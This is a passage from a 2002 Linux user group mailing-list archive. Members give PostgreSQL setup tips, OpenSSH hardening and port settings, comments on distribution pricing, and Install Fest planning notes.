firstdb=# \d <- to list all tables. firstdb=# \h <- for help on SQL commands. etc... explore from here. If you write a ".pgsqlrc" (or whatever it is.. check the docs), you can setup your psql environment to suit. (I think mysql has a similiar .mysqlrc file?) http://www.postgresql.org/idocs/ has complete documentation, including newbie pages (if memory serves me correctly). permissions: like many commercial cousins, postgresql handles a lot through the "grant" statements. If you are unfamiliar with "grant" & "revoke", learn them. (sorry if that sounds harsh, ... i'm dimly remembering some sort of perm manipulation thang in mysql that I have long forgotten. "grant" & "revoke" show up in a lot of db systems, handy to know for the day you have to work on some other db). If you are familiar with typical sql and RDBMS, you'll pick it up quickly. Thing I like most about psql, just about everything I need is available from within the psql shell. (I'm a command line bigot). If you have a windoze box that needs to manipulate a pgsql db, check out the windows ODBC for postgresql and the really nifty windows tool: pgAdmin II (google search on these, you'll find 'em quick). I'm wishing for that pgAdmin II port for Linux, for the GUI inclined, it is really quite nice. (anybody? does this exist?) Dig into stored procedures and triggers, this is one of the very fine features of postgresql, especially if you are into heavy db app development. - tom e. ---------------- On Wed, 26 Jun 2002, Mike wrote: I have been using MySQL for quite some time and feel right at home with it..... I would like to begin learning postgresql. I have just installed it (as a Debian snob, apt-get made that pretty brainless), and need a starting point. Using MySQL, I am spoiled by mysqlshow, and walking right into the mysql db and setting up perms for something I created with mysqladmin create 'dbname'. This is my only baseline, and would love for someone to point me to some docs that address the basics for postgres. v/r mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:18:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 21:18:48 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) References: <3D1A0A27.10207@ttlexceeded.com> <200206261444.02761.voltage_spike@fastmail.fm> Message-ID: <006101c21d91$bc7a99d0$041010ac@az05.bull.com> "Logan Kennelly" wrote: > [...] > You have probably already done this, but OpenSSH 3.3p1 is still vulnerable. > The key is that it now supports privilege separation which should trap them > in a little box where they can't do anything. To enable this, add the > following line to your sshd config file. > > UsePrivilegeSeparation yes Thanks Logan. Someone on another list also pointed me to http://www.kb.cert.org/vuls/id/369347 which also seems to be a good, concise description of the problem, and possible workarounds. For ssh > 2.9, they recommend: ChallengeResponseAuthentication no PAMAuthenticationViaKbdInt no along with your recommendation. It sounds like this is a moving target, at least until 3.4 is readily available. - Bob From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:13:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 26 Jun 2002 21:13:42 -0700 Subject: Crappy Products Cost More!! References: Message-ID: <3D1A90F6.B045D1DB@qwest.net> > RedHat Professional comes with 90 days technical support. It also has all the > printed manuals that would cost about $35 separately. > > (A small story, indirectly related.) > I have successfully setup a new CVS server at work using RH7.3, Webmin and > CVS, of course. In explaining what I had done and what I am using to do it, > our company product manager said, and I quote, "If all that software is free, > why are we using it. It is probably crap." This was followed by a brief > demonstration of Webmin that left him less "against" the software but still > not "for" it. > (End of story.) > > (Another small story) > A friend of mine runs a technology related service business. He was getting > too much work so he started raising his quotes. He started getting even more > work from people that had dropped him before because he was "priced too low to > be very good" as they later told him. > (End of small story) This is because you either don't know what your skills are worth, or will take more time than someone charging more per hour and cost them more in the long run (time == money, especially during downtime). At least in their eyes. > RedHat, I think, is marketing to the people who think they have to pay for > something for it to be any good. And if they are right, and people want to > pay for the support and the manuals, they remain a viable company. > > Some people want to pay lots of money. Would we geeks pay it? Nope. But > some of the suits and non-geeks will. RedHat will find out soon enough if the > market will pay the price they are asking. I had no problems with the price that RH was charging ($50 for boxed copy). I used to buy the boxed versions (6.2 and before) for my Alpha partly for the documentation, but mostly for the support since I wasn't familiar with the differences between Alpha and Intel (boot methods and such). They no longer support Alpha, so now I'm thinking of switching distros for my little Multias since I like package based distros (not necessarily RPM) and these boxes will need patches to what is running on them (Apache being the most notable of late). The only things I've had to build from source have been PHP and MySQL, but MySQL releases a src.rpm to simplify the upgrade process (though it takes time to compile). From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:19:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 26 Jun 2002 21:19:24 -0700 Subject: mysql -> postgres References: <20020626212154.A86347@lilly.csoft.net> Message-ID: <3D1A924C.93701EA7@qwest.net> Best documentation is the companies website: http://www.postgresql.org/ Pick a mirror. MySQL uses a db to hold permissions PostgreSQL uses a text conf file to hold configuration and permissions I haven't tried PostgreSQL since 7.0.3. At that time I was working with Snort (www.snort.org) sniffing a 200Mb Internet connection (not a typo, 200 Mega bits/s). MySQL couldn't handle the rate at which alerts were coming in, but could handle outputting the frontend (ACID: acidlab.sourceforge.net). PostgreSQL could easily handle the logging, but was slower than molasses for the web frontend (see the graphs at the above mentioned ACID site). A page that took MySQL 30s to load was taking over 8 minutes for PostgreSQL. > I have been using MySQL for quite some time and feel > right at home with it..... I would like to begin learning > postgresql. > > I have just installed it (as a Debian snob, apt-get made that > pretty brainless), and need a starting point. > > Using MySQL, I am spoiled by mysqlshow, and walking right > into the mysql db and setting up perms for something I created > with mysqladmin create 'dbname'. This is my only baseline, and > would love for someone to point me to some docs that address > the basics for postgres. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:43:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michael Kocher) Date: Wed, 26 Jun 2002 21:43:25 -0700 Subject: secure shell using other ports than 22 Message-ID: Howdy, I was wondering if anyone knows how to secure shell using a different port other than the default 22? Also does the ssh server need to be adjusted (so it can looking for ssh at other ports)? thanks for the info, Michael PS. The install fest was great and I got the chance to meet some really great people. Props to the people who spent the time organizing and making the install fest what it was. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:48:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 21:48:28 -0700 Subject: SuSE 7.3 sparc64 References: Message-ID: <001301c21d95$e183d080$2f7c0d82@peyote> > As listed in the manpage: > > hostname - show or set the system's host name > > That should work for a running system. George is right that the system > probably gets the name from /etc/rc.config at boot time. but is it really the active hostname. it does not change /etc/hosts or /etc/HOSTNAME, i can display the hostname that i changed it to with # hostname, but if i reboot the machine it reverts back to the old hostname. its really not a big deal :~D, as i used YaST to make the change. just one of those things that kinda bugged. i will check out /etc/rc.config. > Bring it up on list. Some of us have struggled with netsaint, so might be > able to help you. for sure, when all my attempts fails, i turn to the ones who really know. PLUG!! slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:57:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 21:57:09 -0700 Subject: mysql -> postgres In-Reply-To: References: <20020626212154.A86347@lilly.csoft.net> Message-ID: <20020626215709.3e64d834.derek@gnue.org> > Short List: > > as the "postgres" user (during install, you identified a "postgres" > user, right?), from a shell command line: No he is a debian snob so it didnt have to identify anything. :) First log in as root or (su) then su postgres Then do the createuser command below: > createuser > Enter name of user to add: mike > Shall the new user be allowed to create databases? (y/n) y > Shall the new user be allowed to create more new users? y > > (assuming your login account is "mike") you need not have it be same as your login account, it could be anything you like, but creating something same as your user name isnt a bad idea. (From then on if you are logged in as user account that matches user name you created you can type createuser from normal command prompt to create additional users) > Now, as the user "mike": > createdb firstdb > psql firstdb > firstdb=# <- the psql command line prompt for database "firstdb" > firstdb=# \? <- to see a list of backslash commands. > firstdb=# \d <- to list all tables. > firstdb=# \h <- for help on SQL commands. > If there really are enough people willing to attend a postgres class (several week commitment) I will put the course work together and do one. -Derek From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:13:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 22:13:16 -0700 Subject: (no subject) References: <02062618474610.07972@nova.wedge.org> <3D1A8CC6.27CFA775@georgetoft.com> Message-ID: <001b01c21d99$58560770$2f7c0d82@peyote> i must disagree with this slightly, because my case was a little different than the average Windoze user. i came from the MainFrame world, and to me at that time a PC was a toy. so the first Windoze box i saw was a joke, compared to the Data Center surrounding it. anyway i eventually got a PC because i want to play Doom, and of coarse Windoze. i started running lightstep because i couldnt stand exploder, then one day this friend of mine was over and i was showing him lightstep and he said i have something i think you will like. he was right, Enlightenment DR13 running the default theme on a RH 5.0 box. that was it for me, i had to run it. so Enlightenment did it for me, and if it would have been a Windows look alike i dont know if Linux would have sparked the passion that it did. i'm not saying that Enlightenment should be the main focus by no means. but i do feel it deserves a place somewhere, in some dark obscure corner. :~D slr > I would hate to see the demo compare some Windows box with > Enlightenment. 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________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > =JDmD > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:28:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 26 Jun 2002 22:28:18 -0700 Subject: secure shell using other ports than 22 References: Message-ID: <3D1AA272.5020107@deru.com> Michael Kocher wrote: > Howdy, > > I was wondering if anyone knows how to secure shell using a different > port other than the default 22? $ ssh -p xxx machine_name_or_ip (where xxx is the port number to use) > Also does the ssh server need to be > adjusted (so it can looking for ssh at other ports)? > Make an entry in the configuration file for the ssh daemon (/etc/ssh/sshd_config) that says : Port xxx (where xxx is the port you want sshd to listen on) -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:02:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 23:02:59 -0700 (MST) Subject: secure shell using other ports than 22 In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Michael Kocher so: > I was wondering if anyone knows how to secure shell using a different port > other than the default 22? Also does the ssh server need to be adjusted (so > it can looking for ssh at other ports)? For the ssh client use the -p command line option. For the scp client use the -P command line option. Also use the -p option anyway because it preserves the timestamps :). For the server change the Port directive in /etc/ssh/sshd_config. That or cheat and use port forwarding in a firewall :). > PS. The install fest was great and I got the chance to meet some really > great people. Props to the people who spent the time organizing and making > the install fest what it was. Woohoo! We've got one satisfied customer! We're glad you enjoyed it and hope you learned something while you were there. I learned a couple of things, which was awesome. ciao, der.hans -- # https://www.LuftHans.com/ # ... make it clear I support "Free Software" and not "Open Source", # and don't imply I agree that there is such a thing as a # "Linux operating system". - rms From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:58:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 22:58:24 -0700 (MST) Subject: mysql -> postgres In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Tom Emerson so: > Thing I like most about psql, just about everything I need is available > from within the psql shell. (I'm a command line bigot). psql is very nice. SQL completion is pretty good. Still a lot of holes, but it picks up quite a bit. mysql has a lot more work to do. psql also has better readline support for SQL command line editing. \h is great. mysql really needs that. I'm ecstatic about column level perms in MySQL. There's also a 'virtual table' feature of some sort that allows me to designate multiple tables as a single table. I'm really wanting to exploit this for archiving. Roll old stuff into a secondary table and normal queries only hit the most recent table, but reports needing more history can automagically query the whole archive of data. I think that's just me being lazy because it could be done with some sub-queries, but it's so much easier to let the db take care of it ;-). Having different table types, e.g. MyISAM and InnoDB, in mysql is good. MySQL has much better archiving as I can log all queries that change anything in the database and there's a mechanism to snarf through it. PostgreSQL has WAL, but it's not as mature as it needs to be and I don't know of a tool that would allow me to grep around in it. Speaking of being able to grep around in data... psql: lcdb=# SELECT * from lctable \g | egrep -i 'fred|anke'; mysql: mysql> \P egrep -i 'fred|anke' mysql> SELECT * from lctable; mysql> \P less Notice that in psql using grep is easier than using a where clause ;-). BTW, for those not familiar with these two databases... PostgreSQL is the name of the database and psql is a utility to make queries. MySQL is the name of the database and mysql is a utility to make queries. ciao, der.hans -- # https://www.LuftHans.com/ # Stell dir vor, es ist Krieg und keiner geht hin... From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:59:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 22:59:24 -0700 (MST) Subject: mysql -> postgres In-Reply-To: <3D1A924C.93701EA7@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte Kevin Brown so: > I haven't tried PostgreSQL since 7.0.3. At that time I was working with Snort > (www.snort.org) sniffing a 200Mb Internet connection (not a typo, 200 Mega > bits/s). MySQL couldn't handle the rate at which alerts were coming in, but Internet2 snob! ;-) ciao, der.hans -- # https://www.LuftHans.com/ # Schließlich verteidigt Amerika Freiheit. Und Freiheit beginnt mit dem Wort. # -- Gunter Grass From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:07:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 23:07:23 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <001301c21d95$e183d080$2f7c0d82@peyote> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > but is it really the active hostname. it does not change /etc/hosts /etc/hosts has nothing to do with what the real hostname. It's better if it does list the name, but that's not required. > or /etc/HOSTNAME, i can display the hostname that i changed it to with # /etc/HOSTNAME is probably either read or written at boot time, but should otherwise be ignored. > hostname, but if i reboot the machine it reverts back to the old hostname. Yeah, which is why you have to change it however your system wants it changed. 'hostname blah' is then the way to 'kill -i hostnamed' to make the change active :). ciao, der.hans -- # https://www.LuftHans.com/ # Like the maid, I don't do (M$)Windows. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:36:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 22:36:18 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <3D1A90F6.B045D1DB@qwest.net> References: <3D1A90F6.B045D1DB@qwest.net> Message-ID: <200206262236.18276.krycom1@cox.net> On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: > > RedHat Professional comes with 90 days technical support. It also has > > all the printed manuals that would cost about $35 separately. What manuals, that's my point. I have the boxed version and the manual is a 1/4 thick. SuSE and Mandrake have about 2 inches of manuals. > I had no problems with the price that RH was charging ($50 for boxed copy). Me either, until they up the price for $79 for boxed copy or $199 for the server edition. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Wed, 26 Jun 2002 23:24:21 -0700 Subject: Crappy Products Cost More!! References: <3D1A90F6.B045D1DB@qwest.net> <200206262236.18276.krycom1@cox.net> Message-ID: <3D1AAF95.90809@cox.net> I paid $179 for RH 7.3 Pro (well, the company did), and am very happy with it. It comes with 3 OS cds, 1 doc, 2 source, and 3 app cds. It also includes a bootable cdrom business card called the "Survival cd". There are 4 printed manuals, which although slim have pretty good content - some geared to newbies some more advanced. It also has telephone and web-based support. Anyway, compared to a similarly priced XP product from MS, I say RedHat wins hands down. As I said in an earlier post, the install was great - it detected my wireless pcmcia card, set-up dual booting, etc..(As an aside I am trying out KDevelop for the first time and am pretty impressed - I wish I had tried it along time ago - if you haven't used the latest version go get it) I am happy to pay RedHat the $179 - I hope they continue to provide an outstanding alternative to the XP subscription world......... Just my $0.02 errr I mean $179 ;-) Richard L. Proctor wrote: >On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: > >>>RedHat Professional comes with 90 days technical support. It also has >>>all the printed manuals that would cost about $35 separately. >>> > >What manuals, that's my point. I have the boxed version and the manual is a >1/4 thick. SuSE and Mandrake have about 2 inches of manuals. > > >>I had no problems with the price that RH was charging ($50 for boxed copy). >> > >Me either, until they up the price for $79 for boxed copy or $199 for the >server edition. >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 07:44:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 27 Jun 2002 00:44:51 -0700 (PDT) Subject: GNOME 2.0 Message-ID: <20020627074451.70737.qmail@web13409.mail.yahoo.com> Hey all, I was just curious about how many of you may be using GNOME 2.0 now and what you think of it? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 10:40:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 06:40:18 -0400 (EDT) Subject: Install Fest II 0626 Status Message-ID: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 11:47:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Thu, 27 Jun 2002 04:47:59 -0700 Subject: Install Fest II 0626 Status In-Reply-To: References: Message-ID: <20020627114759.NRAX1378.fed1mtao03.cox.net@there> well, depending on where it is in the west side, I may be able to attend as installer/administrator (let me know). thanks On Thursday 27 June 2002 03:40 am, you wrote: > Pardon the delay, sent this last night > with the wrong From: address. > > ---------- Forwarded message ---------- > Subject: Install Fest II 0626 Status > > All corrections and feedback very welcome! > > > News: > > Jim Farli has started the Install Fest II > web site. Looking great! Thanks, Jim! > http://www.plugpresents.com/installfest2/ > > > Suggestions: > > - More Install Stations > - Preliminary Survey - User Needs? > - Feedback Survey - How to Improve? > - 802.11 > - Press Releases on 31 July and 31 Aug > - Student Newspaper Oriented Press Releases > - Demo Zone With Demonstrators > - Presentations > - PLUG Promotional Materials (PLUG Flyer) > - PLUG Promotional Materials (PLUG T-Shirt) > - Mailing List Registration - Current Lists > - May We Contact You? - Attendees > - May We Contact You? - Install Customers > - PLUG Membership Database > - Homemade Cheesecake > > > Tasks: > - Verify site (GCC Student Union?) and date (28 Sep?). > - Assess priority and feasibility of suggestions. > - Identify volunteers for open slots. > > > Sponsor Status: > - Sun > Sent an email to the AZ educational sales > rep requesting information on the right > channel for sponsorship queries. > > > Volunteers: > > Flyer: Michelle Lowman > Press: Lee Einer > Site: Steve (foodog) (pending GCC approval) > Web Site: Jim Farli > Chairman: Bob Bushman > > > Open Volunteer Slots (verified): > > - Sponsor Wrangler > Contact companies regarding sponsorship. > Alan has been mentioned as a good resource > for contacts. > > - Installers > Be on hand day of show to do installs. > Typically oriented by distro, and would > be nice to have some specialists (multi-boot, > firewall, etc). > > > Open Volunteer Slots (proposed): > > - Surveys > Arrange print and online versions of two > surveys: Preliminary, focusing on the type > of install needed. Feedback, focusing on > opportunities for improvement. A first draft > of a feedback survey is available. > > - 802.11 > Arrange use of appropriate wireless gear. > > - Demo Zone > Arrange demonstrators and coordinate efforts > to provide appropriate systems. > > - Presentations > Arrange presenters and coordinate access to > a projector and OpenOffice presentation > software. > > - T-Shirts > Arrange printing of PLUG T-Shirts for sale > and/or doorprizes at Install Fest. Probably > requires harvesting of donations and/or > investment in return on sales. > > - Contact Registration > Arrange electronic and paper registration > for mailing lists and "May We Contact You"s. > > - PLUG Membership Database > Arrange a database for categorizing and > searching through PLUG friends for experts > in given areas. > > - Homemade Cheesecake > Arrange for food for the hardworking volunteers. > > - Legal > Make sure our collective butt is covered. > In particular consider the data loss indemnification > from last time, and the cost/benefit/permission of > selling T-shirts, StarOffice, and/or cheesecake. > > ------------------------------------------------------------------- > "...it's time to drop all the Reagan-era cliches and face facts. > That much economic clout in the hands of one company is bad for > the whole software industry. Including Microsoft. This is [no > longer] a free market." - Flying Monkey 6 > ------------------------------------------------------------------- > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:14:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 08:14:35 -0400 Subject: (no subject) References: <02062618474610.07972@nova.wedge.org> <3D1A8CC6.27CFA775@georgetoft.com> <001b01c21d99$58560770$2f7c0d82@peyote> Message-ID: <3D1B01AB.1D1DC61D@georgetoft.com> When a business person looks at a shift in technology, they must consider retraining and migration costs. I spend about and hour per day (less now that we fixed a glaring design error from a Big 5 Consulting firm that we paid almost 7 figures to) talking with people who are confused by a statement like this: "Please answer three of the five questions below." This is demonstrated to me daily as people answer all five questions. There is a substantial difference between you/me, and the average corporate PC user. Business must take these factors into account when making migration and upgrade plans. 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________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > =JDmD > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > If you feel you have received a virus from me, please read > > http://www.georgetoft.com/virus.html > > because it wasn't me! > > -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:20:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 08:20:04 -0400 Subject: Crappy Products Cost More!! References: <3D1A90F6.B045D1DB@qwest.net> Message-ID: <3D1B02F4.3E355CF9@georgetoft.com> Kevin Brown wrote: [snip] > > (Another small story) > > A friend of mine runs a technology related service business. He was getting > > too much work so he started raising his quotes. He started getting even more > > work from people that had dropped him before because he was "priced too low to > > be very good" as they later told him. > > (End of small story) > > This is because you either don't know what your skills are worth, or will take > more time than someone charging more per hour and cost them more in the long run > (time == money, especially during downtime). At least in their eyes. > I knew someone with the same story. When he charged $35/hour, he was swamped. Then he charged $75/hour, and he was losing business. He raised it to $125/hour and he was getting business he had lost before. Their stated reason for not hiring him at $75/hour was they though he didn't know what he was doing at that price. For $125/hour they thought he was competent. No change in technical skill - just a change in marketing. George From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 11:49:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 07:49:36 -0400 (EDT) Subject: IF2 and Corp. Usability (was (no subject)) In-Reply-To: <3D1B01AB.1D1DC61D@georgetoft.com> Message-ID: I think this is one of the great opportunities afforded us in doing Install Fests and keeping track of new users of Linux. By finding out what new users are having trouble with, we can soften the most painful sharp edges. By asking people if we can contact them, then following up after 1 month, 3 months, 6 months, and a year, we can find out what will make Linux more appealing to new users. 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A system that is consistent with what > most people are used to is important. > > George > > > slr wrote: > > > > i must disagree with this slightly, because my case was a little different > > than the average Windoze user. i came from the MainFrame world, and to me at > > that time a PC was a toy. so the first Windoze box i saw was a joke, > > compared to the Data Center surrounding it. anyway i eventually got a PC > > because i want to play Doom, and of coarse Windoze. i started running > > lightstep because i couldnt stand exploder, > > then one day this friend of mine was over and i was showing him lightstep > > and he said i have something i think you will like. he was right, > > Enlightenment DR13 running the default theme on a RH 5.0 box. that was it > > for me, i had to run it. > > > > so Enlightenment did it for me, and if it would have been a Windows look > > alike i dont know if Linux would have sparked the passion that it did. i'm > > not saying that Enlightenment should be the main focus by no means. but i do > > feel it deserves a place somewhere, in some dark obscure corner. :~D > > > > slr > > > > > I would hate to see the demo compare some Windows box with > > > Enlightenment. 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That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 13:02:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 06:02:40 -0700 (MST) Subject: mysql -> postgres In-Reply-To: Message-ID: is this updateable sql views and triggers that move older records to the archive? On Wed, 26 Jun 2002, der.hans wrote: There's also a 'virtual table' feature of some sort that allows me to designate multiple tables as a single table. I'm really wanting to exploit this for archiving. Roll old stuff into a secondary table and normal queries only hit the most recent table, but reports needing more history can automagically query the whole archive of data. I think that's just me being lazy because it could be done with some sub-queries, but it's so much easier to let the db take care of it ;-). From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 12:58:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 27 Jun 2002 05:58:11 -0700 (MST) Subject: Install Fest II 0626 Status In-Reply-To: Message-ID: A handful of first-person-shooter games running wouldn't hurt, 'specially for the "Student Newspaper Oriented Press Releases" crowd? - t On Thu, 27 Jun 2002, Robert Bushman wrote: Pardon the delay, sent this last night with the wrong From: address. ---------- 